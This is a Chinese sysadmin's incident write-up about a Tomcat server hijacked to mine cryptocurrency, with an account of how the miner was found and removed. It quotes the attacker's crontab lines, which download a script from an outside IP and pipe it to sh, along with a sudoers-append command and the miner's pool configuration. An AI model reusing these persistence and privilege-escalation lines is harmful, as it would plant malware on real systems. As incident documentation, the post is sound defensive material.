Tomcat应用服务器被黑客 肉鸡攻击 记录

线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,
top查看哪个占据的cpu资源比较多

[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48,  3 users,  load average: 2.10, 1.85, 1.66
Tasks: 166 total,   1 running, 164 sleeping,   0 stopped,   1 zombie
Cpu0  : 45.4%us,  0.8%sy,  0.0%ni, 53.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu1  : 38.2%us,  0.8%sy,  0.0%ni, 59.8%id,  0.0%wa,  0.0%hi,  1.2%si,  0.0%st
Mem:  14389372k total, 14233284k used,   156088k free,    12388k buffers
Swap: 33554428k total,  1511980k used, 32042448k free,    40140k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                                           
39674 tomcat    20   0  223m 2808  412 S 75.0  0.0   4031:53 atd                                                                                                                                
54892 tomcat    20   0 10.1g 3.6g 4816 S  4.6 26.4 969:07.52 java  


[tomcat@aew01~]$ crontab -l
 */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
 */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$ 

看到有一个atd进程,这是什么鬼? 查看atd进程
[root@aew01~]# ps -eaf|grep 39674
root     39023 37026  0 14:28 pts/0    00:00:00 grep 39674
tomcat   39674     1 85 Jul15 ?        2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#


再查看atd执行脚本组件,看到是一个编译之后的可执行组件
[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd

******** /usr/sbin/atd: Not a text file ********

[root@aew01~]#


查看配置文件bmsnxvpggm.conf
[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{
    "url" : "stratum+tcp://94.23.41.130:80",
    "user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}
[root@aew01~]# 

看来是被盯上了,攻击了。kill掉进程
[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root     40917 37026  0 14:48 pts/0    00:00:00 grep atd
[root@aew01~]# 

然后负载降下来了,但是可恶的是,不到5分钟,负载又上来了,一看又是atd这个进程在运行,进去查看tomcat的crontab任务,发现已经被写进crontab任务了,于是注释掉crontab任务。
	[tomcat@aew01~]$ crontab -l
	 */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
	 */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
	[tomcat@aew01~]$ 

然后又查看历史操作,有这样一个命令echo "tomcat ALL=(ALL) ALL" >> /etc/sudoers曾经被执行过 >echo "tomcat ALL=(ALL) ALL" >> /etc/sudoers >,于是,为了安全起见,进配置/etc/sudoers文件里面,注释掉 #tomcat ALL=(ALL) ALL这一行,然后重启tomcat应用程序。

彻底检查了下应用服务器所对于的db服务器,发现db没有被攻击,各种数据账号安全,又迅速修改了数据库账号密码等等。

BTY:最终的彻底的解解决方案还是需要应用开发人员,堵住tomcat的漏洞,避免黑客使用tomcat漏洞获得应用服务器的tomcat账号权限,进而登陆应用服务器,将应用服务器做成肉鸡,不停的往外发包。

你可能感兴趣的:(linux)